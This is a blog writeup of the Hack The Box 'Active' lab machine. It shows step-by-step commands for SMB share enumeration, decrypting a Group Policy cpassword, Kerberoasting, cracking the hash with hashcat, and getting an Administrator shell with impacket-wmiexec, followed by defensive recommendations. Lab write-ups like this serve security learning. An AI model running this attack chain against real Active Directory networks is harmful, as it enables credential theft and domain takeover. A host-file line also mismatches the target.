DEV Community

nekohige
nekohige

Posted on

HTB - Active Writeup - no Metasploit

#ctf #htb #security

Summary

The share contained a Groups.xml file storing credentials, which was readable by anyone, and a credential was found inside it. This credential used the now-deprecated cpassword field, so I was able to decrypt it and obtain the plaintext password. Using the obtained credential, I performed Kerberoasting and was able to retrieve the Administrator's credentials, which allowed me to get a shell.

Recommendation

Assuming this were a real environment, I would recommend the following.

  • The share should not have been configured to allow read access for everyone.
  • cpassword is insecure by design, and even Microsoft has deprecated it — it should never be used anymore.
  • The password should have been longer and more complex to prevent it from being cracked with a wordlist like rockyou.
  • Most importantly, an SPN should never have been assigned to the Administrator account in the first place.

Reconnaissance

First of all, let's perform a port scan using Nmap.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.52.11
Enter fullscreen mode Exit fullscreen mode 


ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.52.11
Enter fullscreen mode Exit fullscreen mode

53(DNS), 88(Kerberos), 389(LDAP) and 445(SMB) are open, so we can consider that it is Windows with AD service.
Also, the domain is active.htb.

Let's add the host entry to /etc/hosts.

echo "10.129.228.253 dc.sequel.htb sequel.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode 


sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.52.11
Enter fullscreen mode Exit fullscreen mode

No interesting UDP port is open.

Enumeration

Let's try anonymous login for shares, users and groups.

nxc smb 10.129.52.11 -u '' -p '' --shares --users --groups
Enter fullscreen mode Exit fullscreen mode

It indicates that we have READ permission for Replication folder.

Let's check the Replication folder.

smbclient //10.129.52.11/Replication
Enter fullscreen mode Exit fullscreen mode

After an initial look, I noticed there were deep folders, so I decided to download them all.

recurse ON
prompt OFF
mget *
Enter fullscreen mode Exit fullscreen mode

Let's check whether there are any credentials.

grep -rinaE 'pass(word)?|secret|token|api[_-]?key' . 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

The following credential is revealed.
userName="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

This cpassword is an encrypted password that anyone can decrypt as follows.

Let's check what service this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.52.11 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' $a; done; done; for p in ssh ftp; do nxc $p 10.129.52.11 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'; done
Enter fullscreen mode Exit fullscreen mode 


 xfreerdp3 /u:SVC_TGS /p:GPPstillStandingStrong2k18 /v:10.129.228.253 /cert:ignore
Enter fullscreen mode Exit fullscreen mode

Nothing seems valid.

Exploitation & Privilege Escalation

Let's try Kerberoasting using the credential we found.

impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.52.11 -request -outputfile kerb.txt
Enter fullscreen mode Exit fullscreen mode

There's a cached credential for Administrator!

Crack it with rokyou.txt.

 hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule
Enter fullscreen mode Exit fullscreen mode

The password is revlealed: Ticketmaster1968.

Check what service is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.52.11 -u 'Administrator' -p 'Ticketmaster1968' $a; done; done; for p in ssh ftp; do nxc $p 10.129.52.11 -u 'Administrator' -p 'Ticketmaster1968'; done
Enter fullscreen mode Exit fullscreen mode

Let's use WMI to login as Administrator.

impacket-wmiexec active.htb/Administrator:'Ticketmaster1968'@10.129.52.11
Enter fullscreen mode Exit fullscreen mode 


type C:\Users\SVC_TGS\Desktop\user.txt
Enter fullscreen mode Exit fullscreen mode 


type C:\Users\Administrator\Desktop\root.txt
Enter fullscreen mode Exit fullscreen mode

Done!

Lessons Learned

  • I couldn't get a shell as svc_tgs this time. I'll treat this as a follow-up topic to study later.

Top comments (0)